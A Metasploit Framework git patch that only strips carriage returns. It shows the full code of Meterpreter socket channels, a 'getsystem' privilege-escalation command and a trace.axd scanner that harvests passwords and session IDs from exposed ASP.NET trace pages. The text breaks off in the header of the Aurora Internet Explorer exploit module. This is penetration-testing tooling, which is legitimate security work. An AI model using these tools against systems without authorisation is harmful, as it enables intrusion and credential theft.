From a953c47cfb38809c7af44ce0ef98b230be55b061 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Mon, 26 Apr 2010 18:29:24 +0000 Subject: [PATCH] remove carriage returns git-svn-id: file:///home/svn/framework3/trunk@9140 4d416f70-5f16-0410-b530-b9f4589650da --- .../socket_subsystem/tcp_server_channel.rb | 334 +++--- .../net/socket_subsystem/udp_channel.rb | 384 +++---- .../command_dispatcher/priv/elevate.rb | 194 ++-- modules/auxiliary/scanner/http/trace_axd.rb | 240 ++--- .../windows/browser/ms10_002_aurora.rb | 316 +++--- .../windows/browser/ms10_018_ie_behaviors.rb | 500 ++++----- .../browser/ms10_018_ie_tabular_activex.rb | 246 ++--- .../windows/ftp/trellian_client_pasv.rb | 186 ++-- tools/msfcrawler.rb | 998 +++++++++--------- 9 files changed, 1699 insertions(+), 1699 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb index 9c41fc0d4e..2ce3c5d4b7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb @@ -1,167 +1,167 @@ -require 'timeout' -require 'thread' -require 'rex/socket/parameters' -require 'rex/post/meterpreter/channels/stream' -require 'rex/post/meterpreter/extensions/stdapi/tlv' -require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel' - -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Net -module SocketSubsystem - -class TcpServerChannel < Rex::Post::Meterpreter::Channel - - # - # This is a class variable to store all pending client tcp connections which have not been passed - # off via a call to the respective server tcp channels accept method. The dictionary key is the - # tcp server channel instance and the values held are an array of pending tcp client channels - # connected to the tcp server channel. - # - @@server_channels = {} - - class << self - include Rex::Post::Meterpreter::InboundPacketHandler - - # - # This is the request handler which is registerd to the respective meterpreter instance via - # Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter - # for a 'tcp_channel_open' will be processed here. We create a new TcpClientChannel for each request - # received and store it in the respective tcp server channels list of new pending client channels. - # These new tcp client channels are passed off via a call the the tcp server channels accept() method. - # - def request_handler( client, packet ) - - if( packet.method == "tcp_channel_open" ) - - cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) - pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) - localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST ) - localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT ) - peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) - - if( cid == nil or pid == nil ) - return false - end - - server_channel = client.find_channel( pid ) - if( server_channel == nil ) - return false - end - - params = Rex::Socket::Parameters.from_hash( - { - 'Proto' => 'tcp', - 'LocalHost' => localhost, - 'LocalPort' => localport, - 'PeerHost' => peerhost, - 'PeerPort' => peerport, - 'Comm' => server_channel.client - } - ) - - client_channel = TcpClientChannel.new( client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS ) - - client_channel.params = params - - if( @@server_channels[server_channel] == nil ) - @@server_channels[server_channel] = [] - end - - @@server_channels[server_channel] << client_channel - - return true - end - - return false - end - - def cls - return CHANNEL_CLASS_STREAM - end - - end - - # - # Open a new tcp server channel on the remote end. - # - def TcpServerChannel.open(client, params) - c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS, - [ - { - 'type' => TLV_TYPE_LOCAL_HOST, - 'value' => params.localhost - }, - { - 'type' => TLV_TYPE_LOCAL_PORT, - 'value' => params.localport - } - ] ) - c.params = params - c - end - - # - # Simply initilize this instance. - # - def initialize(client, cid, type, flags) - super(client, cid, type, flags) - # add this instance to the class variables dictionary of tcp server channels - @@server_channels[self] = [] - end - - # - # Accept a new tcp client connection form this tcp server channel. This method does not block - # and returns nil if no new client connection is available. - # - def accept_nonblock - result = nil - if( @@server_channels[self].length > 0 ) - channel = @@server_channels[self].shift - result = channel.lsock - end - return result - end - - # - # Accept a new tcp client connection form this tcp server channel. This method will block indefinatly - # if no timeout is specified. - # - def accept( opts={} ) - timeout = opts['Timeout'] || -1 - if( timeout == -1 ) - result = _accept - else - begin - ::Timeout.timeout( timeout ) { - result = _accept - } - rescue Timeout::Error - result = nil - end - end - return result - end - -protected - - def _accept - while( true ) - if( @@server_channels[self].empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - result = accept_nonblock - break if result != nil - end - return result - end - -end - -end; end; end; end; end; end; end - +require 'timeout' +require 'thread' +require 'rex/socket/parameters' +require 'rex/post/meterpreter/channels/stream' +require 'rex/post/meterpreter/extensions/stdapi/tlv' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net +module SocketSubsystem + +class TcpServerChannel < Rex::Post::Meterpreter::Channel + + # + # This is a class variable to store all pending client tcp connections which have not been passed + # off via a call to the respective server tcp channels accept method. The dictionary key is the + # tcp server channel instance and the values held are an array of pending tcp client channels + # connected to the tcp server channel. + # + @@server_channels = {} + + class << self + include Rex::Post::Meterpreter::InboundPacketHandler + + # + # This is the request handler which is registerd to the respective meterpreter instance via + # Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter + # for a 'tcp_channel_open' will be processed here. We create a new TcpClientChannel for each request + # received and store it in the respective tcp server channels list of new pending client channels. + # These new tcp client channels are passed off via a call the the tcp server channels accept() method. + # + def request_handler( client, packet ) + + if( packet.method == "tcp_channel_open" ) + + cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) + pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) + localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST ) + localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT ) + peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) + peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) + + if( cid == nil or pid == nil ) + return false + end + + server_channel = client.find_channel( pid ) + if( server_channel == nil ) + return false + end + + params = Rex::Socket::Parameters.from_hash( + { + 'Proto' => 'tcp', + 'LocalHost' => localhost, + 'LocalPort' => localport, + 'PeerHost' => peerhost, + 'PeerPort' => peerport, + 'Comm' => server_channel.client + } + ) + + client_channel = TcpClientChannel.new( client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS ) + + client_channel.params = params + + if( @@server_channels[server_channel] == nil ) + @@server_channels[server_channel] = [] + end + + @@server_channels[server_channel] << client_channel + + return true + end + + return false + end + + def cls + return CHANNEL_CLASS_STREAM + end + + end + + # + # Open a new tcp server channel on the remote end. + # + def TcpServerChannel.open(client, params) + c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS, + [ + { + 'type' => TLV_TYPE_LOCAL_HOST, + 'value' => params.localhost + }, + { + 'type' => TLV_TYPE_LOCAL_PORT, + 'value' => params.localport + } + ] ) + c.params = params + c + end + + # + # Simply initilize this instance. + # + def initialize(client, cid, type, flags) + super(client, cid, type, flags) + # add this instance to the class variables dictionary of tcp server channels + @@server_channels[self] = [] + end + + # + # Accept a new tcp client connection form this tcp server channel. This method does not block + # and returns nil if no new client connection is available. + # + def accept_nonblock + result = nil + if( @@server_channels[self].length > 0 ) + channel = @@server_channels[self].shift + result = channel.lsock + end + return result + end + + # + # Accept a new tcp client connection form this tcp server channel. This method will block indefinatly + # if no timeout is specified. + # + def accept( opts={} ) + timeout = opts['Timeout'] || -1 + if( timeout == -1 ) + result = _accept + else + begin + ::Timeout.timeout( timeout ) { + result = _accept + } + rescue Timeout::Error + result = nil + end + end + return result + end + +protected + + def _accept + while( true ) + if( @@server_channels[self].empty? ) + Rex::ThreadSafe.sleep( 0.2 ) + next + end + result = accept_nonblock + break if result != nil + end + return result + end + +end + +end; end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index 4493fbd6d9..c32574a9df 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -1,192 +1,192 @@ -require 'timeout' -require 'rex/sync/thread_safe' -require 'rex/socket/udp' -require 'rex/socket/parameters' -require 'rex/post/meterpreter/extensions/stdapi/tlv' -require 'rex/post/meterpreter/channel' - -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Net -module SocketSubsystem - -class UdpChannel < Rex::Post::Meterpreter::Channel - - # - # We inclue Rex::Socket::Udp as this channel is effectivly a UDP socket. - # - include Rex::Socket::Udp - - # - # We are a datagram channel. - # - class << self - def cls - return CHANNEL_CLASS_DATAGRAM - end - end - - # - # Open a new UDP channel on the remote end. The local host/port are optional, if none are specified - # the remote end will bind to INADDR_ANY with a random port number. The peer host/port are also - # optional, if specified all default send(), write() call will sendto the specified peer. If no peer - # host/port is specified you must use sendto() and specify the remote peer you wish to send to. This - # effectivly lets us create bound/unbound and connected/unconnected UDP sockets with ease. - # - def UdpChannel.open(client, params) - c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS, - [ - { - 'type' => TLV_TYPE_LOCAL_HOST, - 'value' => params.localhost - }, - { - 'type' => TLV_TYPE_LOCAL_PORT, - 'value' => params.localport - }, - { - 'type' => TLV_TYPE_PEER_HOST, - 'value' => params.peerhost - }, - { - 'type' => TLV_TYPE_PEER_PORT, - 'value' => params.peerport - } - ] ) - c.params = params - c - end - - # - # Simply initilize this instance. - # - def initialize(client, cid, type, flags) - super(client, cid, type, flags) - # the instance variable that holds all incoming datagrams. - @datagrams = [] - end - - # - # We overwrite Rex::Socket::Udp.timed_read in order to avoid the call to Kernel.select - # which wont be of use as we are not a natively backed ::Socket or ::IO instance. - # - def timed_read( length=65535, timeout=def_read_timeout ) - result = '' - - begin - Timeout.timeout( timeout ) { - while( true ) - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - result = self.read( length ) - break - end - } - rescue Timeout::Error - result = '' - end - - return result - end - - # - # We overwrite Rex::Socket::Udp.recvfrom in order to correctly hand out the - # datagrams which the remote end of this channel has received and are in the - # queue. - # - def recvfrom( length=65535, timeout=def_read_timeout ) - result = nil - # force a timeout on the wait for an incoming datagram - begin - Timeout.timeout( timeout ) { - while( true ) - # wait untill we have at least one datagram in the queue - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - # grab the oldest datagram we have received... - result = @datagrams.shift - # break as we have a result... - break - end - } - rescue Timeout::Error - result = nil - end - # if no result return nothing - if( result == nil ) - return [ '', nil, nil ] - end - # get the data from this datagram - data = result[0] - # if its only a partial read of this datagram, slice it, loosing the remainder. - result[0] = data[0,length-1] if data.length > length - # return the result in the form [ data, host, port ] - return result - end - - # - # Overwrite the low level sysread to read data off our datagram queue. Calls - # to read() will end up calling this. - # - def sysread( length ) - result = self.recvfrom( length ) - return result[0] - end - - # - # Overwrite the low level syswrite to write data to the remote end of the channel. - # Calls to write() will end up calling this. - # - def syswrite( buf ) - return _write( buf ) - end - - # - # This function is called by Rex::Socket::Udp.sendto and writes data to a specified - # remote peer host/port via the remote end of the channel. - # - def send( buf, flags, saddr ) - af, peerhost, peerport = Rex::Socket.from_sockaddr( saddr ) - - addends = [ - { - 'type' => TLV_TYPE_PEER_HOST, - 'value' => peerhost - }, - { - 'type' => TLV_TYPE_PEER_PORT, - 'value' => peerport - } - ] - - return _write( buf, buf.length, addends ) - end - - # - # The channels direct io write handler for any incoming data from the remote end - # of the channel. We extract the data and peer host/port, and save this to a queue - # of incoming datagrams which are passed out via calls to self.recvfrom() - # - def dio_write_handler( packet, data ) - - peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) - - if( peerhost and peerport ) - @datagrams << [ data, peerhost, peerport ] - return true - end - - return false - end - -end - -end; end; end; end; end; end; end +require 'timeout' +require 'rex/sync/thread_safe' +require 'rex/socket/udp' +require 'rex/socket/parameters' +require 'rex/post/meterpreter/extensions/stdapi/tlv' +require 'rex/post/meterpreter/channel' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net +module SocketSubsystem + +class UdpChannel < Rex::Post::Meterpreter::Channel + + # + # We inclue Rex::Socket::Udp as this channel is effectivly a UDP socket. + # + include Rex::Socket::Udp + + # + # We are a datagram channel. + # + class << self + def cls + return CHANNEL_CLASS_DATAGRAM + end + end + + # + # Open a new UDP channel on the remote end. The local host/port are optional, if none are specified + # the remote end will bind to INADDR_ANY with a random port number. The peer host/port are also + # optional, if specified all default send(), write() call will sendto the specified peer. If no peer + # host/port is specified you must use sendto() and specify the remote peer you wish to send to. This + # effectivly lets us create bound/unbound and connected/unconnected UDP sockets with ease. + # + def UdpChannel.open(client, params) + c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS, + [ + { + 'type' => TLV_TYPE_LOCAL_HOST, + 'value' => params.localhost + }, + { + 'type' => TLV_TYPE_LOCAL_PORT, + 'value' => params.localport + }, + { + 'type' => TLV_TYPE_PEER_HOST, + 'value' => params.peerhost + }, + { + 'type' => TLV_TYPE_PEER_PORT, + 'value' => params.peerport + } + ] ) + c.params = params + c + end + + # + # Simply initilize this instance. + # + def initialize(client, cid, type, flags) + super(client, cid, type, flags) + # the instance variable that holds all incoming datagrams. + @datagrams = [] + end + + # + # We overwrite Rex::Socket::Udp.timed_read in order to avoid the call to Kernel.select + # which wont be of use as we are not a natively backed ::Socket or ::IO instance. + # + def timed_read( length=65535, timeout=def_read_timeout ) + result = '' + + begin + Timeout.timeout( timeout ) { + while( true ) + if( @datagrams.empty? ) + Rex::ThreadSafe.sleep( 0.2 ) + next + end + result = self.read( length ) + break + end + } + rescue Timeout::Error + result = '' + end + + return result + end + + # + # We overwrite Rex::Socket::Udp.recvfrom in order to correctly hand out the + # datagrams which the remote end of this channel has received and are in the + # queue. + # + def recvfrom( length=65535, timeout=def_read_timeout ) + result = nil + # force a timeout on the wait for an incoming datagram + begin + Timeout.timeout( timeout ) { + while( true ) + # wait untill we have at least one datagram in the queue + if( @datagrams.empty? ) + Rex::ThreadSafe.sleep( 0.2 ) + next + end + # grab the oldest datagram we have received... + result = @datagrams.shift + # break as we have a result... + break + end + } + rescue Timeout::Error + result = nil + end + # if no result return nothing + if( result == nil ) + return [ '', nil, nil ] + end + # get the data from this datagram + data = result[0] + # if its only a partial read of this datagram, slice it, loosing the remainder. + result[0] = data[0,length-1] if data.length > length + # return the result in the form [ data, host, port ] + return result + end + + # + # Overwrite the low level sysread to read data off our datagram queue. Calls + # to read() will end up calling this. + # + def sysread( length ) + result = self.recvfrom( length ) + return result[0] + end + + # + # Overwrite the low level syswrite to write data to the remote end of the channel. + # Calls to write() will end up calling this. + # + def syswrite( buf ) + return _write( buf ) + end + + # + # This function is called by Rex::Socket::Udp.sendto and writes data to a specified + # remote peer host/port via the remote end of the channel. + # + def send( buf, flags, saddr ) + af, peerhost, peerport = Rex::Socket.from_sockaddr( saddr ) + + addends = [ + { + 'type' => TLV_TYPE_PEER_HOST, + 'value' => peerhost + }, + { + 'type' => TLV_TYPE_PEER_PORT, + 'value' => peerport + } + ] + + return _write( buf, buf.length, addends ) + end + + # + # The channels direct io write handler for any incoming data from the remote end + # of the channel. We extract the data and peer host/port, and save this to a queue + # of incoming datagrams which are passed out via calls to self.recvfrom() + # + def dio_write_handler( packet, data ) + + peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) + peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) + + if( peerhost and peerport ) + @datagrams << [ data, peerhost, peerport ] + return true + end + + return false + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb index dd76a10dbd..f995178e2a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb @@ -1,98 +1,98 @@ -require 'rex/post/meterpreter' - -module Rex -module Post -module Meterpreter -module Ui - -### -# -# The local privilege escalation portion of the extension. -# -### -class Console::CommandDispatcher::Priv::Elevate - - Klass = Console::CommandDispatcher::Priv::Elevate - - include Console::CommandDispatcher - - ELEVATE_TECHNIQUE_NONE = -1 - ELEVATE_TECHNIQUE_ANY = 0 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 - ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 - ELEVATE_TECHNIQUE_VULN_KITRAP0D = 4 - - ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available", - "Service - Named Pipe Impersonation (In Memory/Admin)", - "Service - Named Pipe Impersonation (Dropper/Admin)", - "Service - Token Duplication (In Memory/Admin)", - "Exploit - KiTrap0D (In Memory/User)" - ] - # - # List of supported commands. - # - def commands - { - "getsystem" => "Attempt to elevate your privilege to that of local system." - } - end - - # - # Name for this dispatcher. - # - def name - "Priv: Elevate" - end - - - # - # Attempt to elevate the meterpreter to that of local system. - # - def cmd_getsystem( *args ) - - technique = ELEVATE_TECHNIQUE_ANY - - desc = "" - ELEVATE_TECHNIQUE_DESCRIPTION.each_index { |i| desc += "\n\t\t#{i} : #{ELEVATE_TECHNIQUE_DESCRIPTION[i]}" } - - getsystem_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help Banner." ], - "-t" => [ true, "The technique to use. (Default to \'#{technique}\')." + desc ] - ) - - getsystem_opts.parse(args) { | opt, idx, val | - case opt - when "-h" - print_line( "Usage: getsystem [options]\n" ) - print_line( "Attempt to elevate your privilege to that of local system." ) - print_line( getsystem_opts.usage ) - return - when "-t" - technique = val.to_i - end - } - - if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length ) - print_error( "Technique '#{technique}' is out of range." ); - return false; - end - - result = client.priv.getsystem( technique ) - - # got system? - if result[0] - print_line( "...got system (via technique #{result[1]})." ); - else - print_line( "...failed to get system." ); - end - - return result - end - -end - -end -end -end +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# The local privilege escalation portion of the extension. +# +### +class Console::CommandDispatcher::Priv::Elevate + + Klass = Console::CommandDispatcher::Priv::Elevate + + include Console::CommandDispatcher + + ELEVATE_TECHNIQUE_NONE = -1 + ELEVATE_TECHNIQUE_ANY = 0 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 + ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + ELEVATE_TECHNIQUE_VULN_KITRAP0D = 4 + + ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available", + "Service - Named Pipe Impersonation (In Memory/Admin)", + "Service - Named Pipe Impersonation (Dropper/Admin)", + "Service - Token Duplication (In Memory/Admin)", + "Exploit - KiTrap0D (In Memory/User)" + ] + # + # List of supported commands. + # + def commands + { + "getsystem" => "Attempt to elevate your privilege to that of local system." + } + end + + # + # Name for this dispatcher. + # + def name + "Priv: Elevate" + end + + + # + # Attempt to elevate the meterpreter to that of local system. + # + def cmd_getsystem( *args ) + + technique = ELEVATE_TECHNIQUE_ANY + + desc = "" + ELEVATE_TECHNIQUE_DESCRIPTION.each_index { |i| desc += "\n\t\t#{i} : #{ELEVATE_TECHNIQUE_DESCRIPTION[i]}" } + + getsystem_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner." ], + "-t" => [ true, "The technique to use. (Default to \'#{technique}\')." + desc ] + ) + + getsystem_opts.parse(args) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: getsystem [options]\n" ) + print_line( "Attempt to elevate your privilege to that of local system." ) + print_line( getsystem_opts.usage ) + return + when "-t" + technique = val.to_i + end + } + + if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length ) + print_error( "Technique '#{technique}' is out of range." ); + return false; + end + + result = client.priv.getsystem( technique ) + + # got system? + if result[0] + print_line( "...got system (via technique #{result[1]})." ); + else + print_line( "...failed to get system." ); + end + + return result + end + +end + +end +end +end end \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb index 2afdff4a33..fc0371a988 100644 --- a/modules/auxiliary/scanner/http/trace_axd.rb +++ b/modules/auxiliary/scanner/http/trace_axd.rb @@ -1,121 +1,121 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - # Exploit mixins should be called first - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WMAPScanDir - # Scanner mixin should be near last - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - - def initialize - super( - 'Name' => 'HTTP trace.axd Content Scanner', - 'Version' => '$Revision: 7605 $', - 'Description' => 'Detect trace.axd files and analize its content', - 'Author' => ['c4an'], - 'License' => MSF_LICENSE - ) - - register_options( - [ - OptString.new('PATH', [ true, "The test path to find trace.axd file", '/']), - OptBool.new('TRACE_DETAILS', [ true, "Display trace.axd details", true ]) - ], self.class) - - register_advanced_options( - [ - OptString.new('StoreFile', [ false, "Store all information into a file", './trace_axd.log']) - ], self.class) - end - - def run_host(target_host) - tpath = datastore['PATH'] - if tpath[-1,1] != '/' - tpath += '/' - end - - begin - turl = tpath+'trace.axd' - - res = send_request_cgi({ - 'uri' => turl, - 'method' => 'GET', - 'version' => '1.0', - }, 10) - - - if res and res.body.include?("

Application Trace

") - print_status("[#{target_host}] #{tpath}trace.axd FOUND.") - - report_note( - :host => target_host, - :proto => 'HTTP', - :port => rport, - :type => 'TRACE_AXD', - :data => "trace.axd" - ) - - if datastore['TRACE_DETAILS'] - - aregex = /Trace.axd\?id=\d/ - result = res.body.scan(aregex).uniq - - result.each do |u| - turl = tpath+u.to_s - - res = send_request_cgi({ - 'uri' => turl, - 'method' => 'GET', - 'version' => '1.0', - }, 10) - - if res - reg_info = [ /UserId<\/td>(\w+.*)<\/td>/, /Password<\/td>(\w+.*)<\/td>/, - /APPL_PHYSICAL_PATH<\/td>(\w+.*)<\/td>/, - /AspFilterSessionId<\/td>(\w+.*)<\/td>/, - /Via<\/td>(\w+.*)<\/td>/,/LOCAL_ADDR<\/td>(\w+.*)<\/td>/, - /ALL_RAW<\/td>((.+\n)+)<\/td>/ - ] - print_status ("DETAIL: #{turl}") - reg_info.each do |reg| - result = res.body.scan(reg).flatten.map{|s| s.strip}.uniq - str = result.to_s.chomp - - - if reg.to_s.include?"APPL_PHYSICAL_PATH" - print_status ("Physical Path: #{str}") - elsif reg.to_s.include?"UserId" - print_status ("User ID: #{str}") - elsif reg.to_s.include?"Password" - print_status ("Password: #{str}") - elsif reg.to_s.include?"AspFilterSessionId" - print_status ("Session ID: #{str}") - elsif reg.to_s.include?"LOCAL_ADDR" - print_status ("Local Address: #{str}") - elsif result.include?"Via" - print_status ("VIA: #{str}") - elsif reg.to_s.include?"ALL_RAW" - print_status ("Headers: #{str}") - end - end - end - end - end - end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - end +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WMAPScanDir + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'HTTP trace.axd Content Scanner', + 'Version' => '$Revision: 7605 $', + 'Description' => 'Detect trace.axd files and analize its content', + 'Author' => ['c4an'], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptString.new('PATH', [ true, "The test path to find trace.axd file", '/']), + OptBool.new('TRACE_DETAILS', [ true, "Display trace.axd details", true ]) + ], self.class) + + register_advanced_options( + [ + OptString.new('StoreFile', [ false, "Store all information into a file", './trace_axd.log']) + ], self.class) + end + + def run_host(target_host) + tpath = datastore['PATH'] + if tpath[-1,1] != '/' + tpath += '/' + end + + begin + turl = tpath+'trace.axd' + + res = send_request_cgi({ + 'uri' => turl, + 'method' => 'GET', + 'version' => '1.0', + }, 10) + + + if res and res.body.include?("

Application Trace

") + print_status("[#{target_host}] #{tpath}trace.axd FOUND.") + + report_note( + :host => target_host, + :proto => 'HTTP', + :port => rport, + :type => 'TRACE_AXD', + :data => "trace.axd" + ) + + if datastore['TRACE_DETAILS'] + + aregex = /Trace.axd\?id=\d/ + result = res.body.scan(aregex).uniq + + result.each do |u| + turl = tpath+u.to_s + + res = send_request_cgi({ + 'uri' => turl, + 'method' => 'GET', + 'version' => '1.0', + }, 10) + + if res + reg_info = [ /UserId<\/td>(\w+.*)<\/td>/, /Password<\/td>(\w+.*)<\/td>/, + /APPL_PHYSICAL_PATH<\/td>(\w+.*)<\/td>/, + /AspFilterSessionId<\/td>(\w+.*)<\/td>/, + /Via<\/td>(\w+.*)<\/td>/,/LOCAL_ADDR<\/td>(\w+.*)<\/td>/, + /ALL_RAW<\/td>((.+\n)+)<\/td>/ + ] + print_status ("DETAIL: #{turl}") + reg_info.each do |reg| + result = res.body.scan(reg).flatten.map{|s| s.strip}.uniq + str = result.to_s.chomp + + + if reg.to_s.include?"APPL_PHYSICAL_PATH" + print_status ("Physical Path: #{str}") + elsif reg.to_s.include?"UserId" + print_status ("User ID: #{str}") + elsif reg.to_s.include?"Password" + print_status ("Password: #{str}") + elsif reg.to_s.include?"AspFilterSessionId" + print_status ("Session ID: #{str}") + elsif reg.to_s.include?"LOCAL_ADDR" + print_status ("Local Address: #{str}") + elsif result.include?"Via" + print_status ("VIA: #{str}") + elsif reg.to_s.include?"ALL_RAW" + print_status ("Headers: #{str}") + end + end + end + end + end + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + end end \ No newline at end of file diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb index c858a4f7b0..baa22e204c 100644 --- a/modules/exploits/windows/browser/ms10_002_aurora.rb +++ b/modules/exploits/windows/browser/ms10_002_aurora.rb @@ -1,161 +1,161 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "6.0", - :ua_maxver => "8.0", - :javascript => true, - :os_name => OperatingSystems::WINDOWS, - :vuln_test => nil, # no way to test without just trying it - }) - - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internet Explorer "Aurora" Memory Corruption', - 'Description' => %q{ - This module exploits a memory corruption flaw in Internet Explorer. This - flaw was found in the wild and was a key component of the "Operation Aurora" - attacks that lead to the compromise of a number of high profile companies. The - exploit code is a direct port of the public sample published to the Wepawet - malware analysis site. The technique used by this module is currently identical - to the public sample, as such, only Internet Explorer 6 can be reliably exploited. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'unknown', - 'hdm' # Metasploit port - ], - 'Version' => '$Revision$', - 'References' => +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => nil, # no way to test without just trying it + }) + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internet Explorer "Aurora" Memory Corruption', + 'Description' => %q{ + This module exploits a memory corruption flaw in Internet Explorer. This + flaw was found in the wild and was a key component of the "Operation Aurora" + attacks that lead to the compromise of a number of high profile companies. The + exploit code is a direct port of the public sample published to the Wepawet + malware analysis site. The technique used by this module is currently identical + to the public sample, as such, only Internet Explorer 6 can be reliably exploited. + }, + 'License' => MSF_LICENSE, + 'Author' => [ - ['MSB', 'MS10-002'], - ['CVE', '2010-0249'], - ['OSVDB', '61697'], - ['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'], - ['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js'] - - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', - }, - 